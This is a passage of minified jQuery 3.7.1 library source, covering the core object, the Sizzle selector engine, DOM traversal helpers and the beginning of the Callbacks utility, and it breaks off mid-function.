!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n||C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[i.call(e)]||"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||v(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==i.call(e))&&(!(t=r(e))||"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i||11===i?e.textContent:9===i?e.documentElement.textContent:3===i||4===i?e.nodeValue:n},makeArray:function(e,t){var n=t||[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!l.test(t||n&&n.nodeName||"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(c(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:le}),"function"==typeof Symbol&&(ce.fn[Symbol.iterator]=oe[Symbol.iterator]),ce.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var pe=oe.pop,de=oe.sort,he=oe.splice,ge="[\\x20\\t\\r\\n\\f]",ve=new RegExp("^"+ge+"+|((?:^|[^\\\\])(?:\\\\.)*)"+ge+"+$","g");ce.contains=function(e,t){var n=t&&t.parentNode;return e===n||!(!n||1!==n.nodeType||!(e.contains?e.contains(n):e.compareDocumentPosition&&16&e.compareDocumentPosition(n)))};var f=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;function p(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e}ce.escapeSelector=function(e){return(e+"").replace(f,p)};var ye=C,me=s;!function(){var e,b,w,o,a,T,r,C,d,i,k=me,S=ce.expando,E=0,n=0,s=W(),c=W(),u=W(),h=W(),l=function(e,t){return e===t&&(a=!0),0},f="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",p="\\["+ge+"*("+t+")(?:"+ge+"*([*^$|!~]?=)"+ge+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+t+"))|)"+ge+"*\\]",g=":("+t+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+p+")*)|.*)\\)|)",v=new RegExp(ge+"+","g"),y=new RegExp("^"+ge+"*,"+ge+"*"),m=new RegExp("^"+ge+"*([>+~]|"+ge+")"+ge+"*"),x=new RegExp(ge+"|>"),j=new RegExp(g),A=new RegExp("^"+t+"$"),D={ID:new RegExp("^#("+t+")"),CLASS:new RegExp("^\\.("+t+")"),TAG:new RegExp("^("+t+"|[*])"),ATTR:new RegExp("^"+p),PSEUDO:new RegExp("^"+g),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ge+"*(even|odd|(([+-]|)(\\d*)n|)"+ge+"*(?:([+-]|)"+ge+"*(\\d+)|))"+ge+"*\\)|)","i"),bool:new RegExp("^(?:"+f+")$","i"),needsContext:new RegExp("^"+ge+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ge+"*((?:-\\d)?\\d*)"+ge+"*\\)|)(?=[^-]|$)","i")},N=/^(?:input|select|textarea|button)$/i,q=/^h\d$/i,L=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,H=/[+~]/,O=new RegExp("\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\([^\\r\\n\\f])","g"),P=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(){V()},R=J(function(e){return!0===e.disabled&&fe(e,"fieldset")},{dir:"parentNode",next:"legend"});try{k.apply(oe=ae.call(ye.childNodes),ye.childNodes),oe[ye.childNodes.length].nodeType}catch(e){k={apply:function(e,t){me.apply(e,ae.call(t))},call:function(e){me.apply(e,ae.call(arguments,1))}}}function I(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(V(e),e=e||T,C)){if(11!==p&&(u=L.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return k.call(n,a),n}else if(f&&(a=f.getElementById(i))&&I.contains(e,a)&&a.id===i)return k.call(n,a),n}else{if(u[2])return k.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&e.getElementsByClassName)return k.apply(n,e.getElementsByClassName(i)),n}if(!(h[t+" "]||d&&d.test(t))){if(c=t,f=e,1===p&&(x.test(t)||m.test(t))){(f=H.test(t)&&U(e.parentNode)||e)==e&&le.scope||((s=e.getAttribute("id"))?s=ce.escapeSelector(s):e.setAttribute("id",s=S)),o=(l=Y(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+Q(l[o]);c=l.join(",")}try{return k.apply(n,f.querySelectorAll(c)),n}catch(e){h(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return re(t.replace(ve,"$1"),e,n,r)}function W(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function F(e){return e[S]=!0,e}function $(e){var t=T.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")||fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&R(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function X(a){return F(function(o){return o=+o,F(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function U(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function V(e){var t,n=e?e.ownerDocument||e:ye;return n!=T&&9===n.nodeType&&n.documentElement&&(r=(T=n).documentElement,C=!ce.isXMLDoc(T),i=r.matches||r.webkitMatchesSelector||r.msMatchesSelector,r.msMatchesSelector&&ye!=T&&(t=T.defaultView)&&t.top!==t&&t.addEventListener("unload",M),le.getById=$(function(e){return r.appendChild(e).id=ce.expando,!T.getElementsByName||!T.getElementsByName(ce.expando).length}),le.disconnectedMatch=$(function(e){return i.call(e,"*")}),le.scope=$(function(){return T.querySelectorAll(":scope")}),le.cssHas=$(function(){try{return T.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}}),le.getById?(b.filter.ID=function(e){var t=e.replace(O,P);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(O,P);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):t.querySelectorAll(e)},b.find.CLASS=function(e,t){if("undefined"!=typeof t.getElementsByClassName&&C)return t.getElementsByClassName(e)},d=[],$(function(e){var t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'><option selected=''></option></select>",e.querySelectorAll("[selected]").length||d.push("\\["+ge+"*(?:value|"+f+")"),e.querySelectorAll("[id~="+S+"-]").length||d.push("~="),e.querySelectorAll("a#"+S+"+*").length||d.push(".#.+[+~]"),e.querySelectorAll(":checked").length||d.push(":checked"),(t=T.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),r.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&d.push(":enabled",":disabled"),(t=T.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||d.push("\\["+ge+"*name"+ge+"*="+ge+"*(?:''|\"\")")}),le.cssHas||d.push(":has"),d=d.length&&new RegExp(d.join("|")),l=function(e,t){if(e===t)return a=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!le.sortDetached&&t.compareDocumentPosition(e)===n?e===T||e.ownerDocument==ye&&I.contains(ye,e)?-1:t===T||t.ownerDocument==ye&&I.contains(ye,t)?1:o?se.call(o,e)-se.call(o,t):0:4&n?-1:1)}),T}for(e in I.matches=function(e,t){return I(e,null,null,t)},I.matchesSelector=function(e,t){if(V(e),C&&!h[t+" "]&&(!d||!d.test(t)))try{var n=i.call(e,t);if(n||le.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){h(t,!0)}return 0<I(t,T,null,[e]).length},I.contains=function(e,t){return(e.ownerDocument||e)!=T&&V(e),ce.contains(e,t)},I.attr=function(e,t){(e.ownerDocument||e)!=T&&V(e);var n=b.attrHandle[t.toLowerCase()],r=n&&ue.call(b.attrHandle,t.toLowerCase())?n(e,t,!C):void 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function(e){var t,n=[],r=0,i=0;if(a=!le.sortStable,o=!le.sortStable&&ae.call(e,0),de.call(e,l),a){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)he.call(e,n[r],1)}return o=null,e},ce.fn.uniqueSort=function(){return this.pushStack(ce.uniqueSort(ae.apply(this)))},(b=ce.expr={cacheLength:50,createPseudo:F,match:D,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(O,P),e[3]=(e[3]||e[4]||e[5]||"").replace(O,P),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||I.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&I.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return D.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&j.test(n)&&(t=Y(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(O,P).toLowerCase();return"*"===e?function(){return!0}:function(e){return fe(e,t)}},CLASS:function(e){var t=s[e+" "];return t||(t=new RegExp("(^|"+ge+")"+e+"("+ge+"|$)"))&&s(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=I.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(v," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(d,e,t,h,g){var v="nth"!==d.slice(0,3),y="last"!==d.slice(-4),m="of-type"===e;return 1===h&&0===g?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u=v!==y?"nextSibling":"previousSibling",l=e.parentNode,c=m&&e.nodeName.toLowerCase(),f=!n&&!m,p=!1;if(l){if(v){while(u){o=e;while(o=o[u])if(m?fe(o,c):1===o.nodeType)return!1;s=u="only"===d&&!s&&"nextSibling"}return!0}if(s=[y?l.firstChild:l.lastChild],y&&f){p=(a=(r=(i=l[S]||(l[S]={}))[d]||[])[0]===E&&r[1])&&r[2],o=a&&l.childNodes[a];while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if(1===o.nodeType&&++p&&o===e){i[d]=[E,a,p];break}}else if(f&&(p=a=(r=(i=e[S]||(e[S]={}))[d]||[])[0]===E&&r[1]),!1===p)while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if((m?fe(o,c):1===o.nodeType)&&++p&&(f&&((i=o[S]||(o[S]={}))[d]=[E,p]),o===e))break;return(p-=g)===h||p%h==0&&0<=p/h}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||I.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?F(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=se.call(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:F(function(e){var r=[],i=[],s=ne(e.replace(ve,"$1"));return s[S]?F(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:F(function(t){return function(e){return 0<I(t,e).length}}),contains:F(function(t){return t=t.replace(O,P),function(e){return-1<(e.textContent||ce.text(e)).indexOf(t)}}),lang:F(function(n){return A.test(n||"")||I.error("unsupported lang: "+n),n=n.replace(O,P).toLowerCase(),function(e){var t;do{if(t=C?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=ie.location&&ie.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===r},focus:function(e){return e===function(){try{return T.activeElement}catch(e){}}()&&T.hasFocus()&&!!(e.type||e.href||~e.tabIndex)},enabled:z(!1),disabled:z(!0),checked:function(e){return fe(e,"input")&&!!e.checked||fe(e,"option")&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe(e,"input")&&"button"===e.type||fe(e,"button")},text:function(e){var t;return fe(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:X(function(){return[0]}),last:X(function(e,t){return[t-1]}),eq:X(function(e,t,n){return[n<0?n+t:n]}),even:X(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:X(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:X(function(e,t,n){var r;for(r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:X(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=B(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=_(e);function G(){}function Y(e,t){var n,r,i,o,a,s,u,l=c[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=y.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=m.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(ve," ")}),a=a.slice(n.length)),b.filter)!(r=D[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?I.error(e):c(e,s).slice(0)}function Q(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function J(a,e,t){var s=e.dir,u=e.next,l=u||s,c=t&&"parentNode"===l,f=n++;return e.first?function(e,t,n){while(e=e[s])if(1===e.nodeType||c)return a(e,t,n);return!1}:function(e,t,n){var r,i,o=[E,f];if(n){while(e=e[s])if((1===e.nodeType||c)&&a(e,t,n))return!0}else while(e=e[s])if(1===e.nodeType||c)if(i=e[S]||(e[S]={}),u&&fe(e,u))e=e[s]||e;else{if((r=i[l])&&r[0]===E&&r[1]===f)return o[2]=r[2];if((i[l]=o)[2]=a(e,t,n))return!0}return!1}}function K(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Z(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function ee(d,h,g,v,y,e){return v&&!v[S]&&(v=ee(v)),y&&!y[S]&&(y=ee(y,e)),F(function(e,t,n,r){var i,o,a,s,u=[],l=[],c=t.length,f=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)I(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),p=!d||!e&&h?f:Z(f,u,d,n,r);if(g?g(p,s=y||(e?d:c||v)?[]:t,n,r):s=p,v){i=Z(s,l),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(s[l[o]]=!(p[l[o]]=a))}if(e){if(y||d){if(y){i=[],o=s.length;while(o--)(a=s[o])&&i.push(p[o]=a);y(null,s=[],i,r)}o=s.length;while(o--)(a=s[o])&&-1<(i=y?se.call(e,a):u[o])&&(e[i]=!(t[i]=a))}}else s=Z(s===t?s.splice(c,s.length):s),y?y(null,t,s,r):k.apply(t,s)})}function te(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=J(function(e){return e===i},a,!0),l=J(function(e){return-1<se.call(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!=w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[J(K(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return ee(1<s&&K(c),1<s&&Q(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(ve,"$1"),t,s<n&&te(e.slice(s,n)),n<r&&te(e=e.slice(n)),n<r&&Q(e))}c.push(t)}return K(c)}function ne(e,t){var n,v,y,m,x,r,i=[],o=[],a=u[e+" "];if(!a){t||(t=Y(e)),n=t.length;while(n--)(a=te(t[n]))[S]?i.push(a):o.push(a);(a=u(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=E+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==T||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==T||(V(o),n=!C);while(s=v[a++])if(s(o,t||T,n)){k.call(r,o);break}i&&(E=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=pe.call(r));f=Z(f)}k.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&ce.uniqueSort(r)}return i&&(E=h,w=p),c},m?F(r):r))).selector=e}return a}function re(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&Y(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&C&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(O,P),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=D.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(O,P),H.test(o[0].type)&&U(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&Q(o)))return k.apply(n,r),n;break}}}return(l||ne(e,c))(r,t,!C,n,!t||H.test(e)&&U(t.parentNode)||t),n}G.prototype=b.filters=b.pseudos,b.setFilters=new G,le.sortStable=S.split("").sort(l).join("")===S,V(),le.sortDetached=$(function(e){return 1&e.compareDocumentPosition(T.createElement("fieldset"))}),ce.find=I,ce.expr[":"]=ce.expr.pseudos,ce.unique=ce.uniqueSort,I.compile=ne,I.select=re,I.setDocument=V,I.tokenize=Y,I.escape=ce.escapeSelector,I.getText=ce.text,I.isXML=ce.isXMLDoc,I.selectors=ce.expr,I.support=ce.support,I.uniqueSort=ce.uniqueSort}();var d=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&ce(e).is(n))break;r.push(e)}return r},h=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},b=ce.expr.match.needsContext,w=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function T(e,n,r){return v(n)?ce.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?ce.grep(e,function(e){return e===n!==r}):"string"!=typeof n?ce.grep(e,function(e){return-1<se.call(n,e)!==r}):ce.filter(n,e,r)}ce.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?ce.find.matchesSelector(r,e)?[r]:[]:ce.find.matches(e,ce.grep(t,function(e){return 1===e.nodeType}))},ce.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(ce(e).filter(function(){for(t=0;t<r;t++)if(ce.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)ce.find(e,i[t],n);return 1<r?ce.uniqueSort(n):n},filter:function(e){return this.pushStack(T(this,e||[],!1))},not:function(e){return this.pushStack(T(this,e||[],!0))},is:function(e){return!!T(this,"string"==typeof e&&b.test(e)?ce(e):e||[],!1).length}});var k,S=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(ce.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||k,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:S.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof ce?t[0]:t,ce.merge(this,ce.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:C,!0)),w.test(r[1])&&ce.isPlainObject(t))for(r in t)v(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=C.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):v(e)?void 0!==n.ready?n.ready(e):e(ce):ce.makeArray(e,this)}).prototype=ce.fn,k=ce(C);var E=/^(?:parents|prev(?:Until|All))/,j={children:!0,contents:!0,next:!0,prev:!0};function A(e,t){while((e=e[t])&&1!==e.nodeType);return e}ce.fn.extend({has:function(e){var t=ce(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(ce.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&ce(e);if(!b.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&ce.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?ce.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?se.call(ce(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(ce.uniqueSort(ce.merge(this.get(),ce(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function(e,t,n){return d(e,"previousSibling",n)},siblings:function(e){return h((e.parentNode||{}).firstChild,e)},children:function(e){return h(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(fe(e,"template")&&(e=e.content||e),ce.merge([],e.childNodes))}},function(r,i){ce.fn[r]=function(e,t){var n=ce.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=ce.filter(t,n)),1<this.length&&(j[r]||ce.uniqueSort(n),E.test(r)&&n.reverse()),this.pushStack(n)}});var D=/[^\x20\t\r\n\f]+/g;function N(e){return e}function q(e){throw e}function L(e,t,n,r){var i;try{e&&v(i=e.promise)?i.call(e).done(t).fail(n):e&&v(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}ce.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},ce.each(e.match(D)||[],function(e,t){n[t]=!0}),n):ce.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function 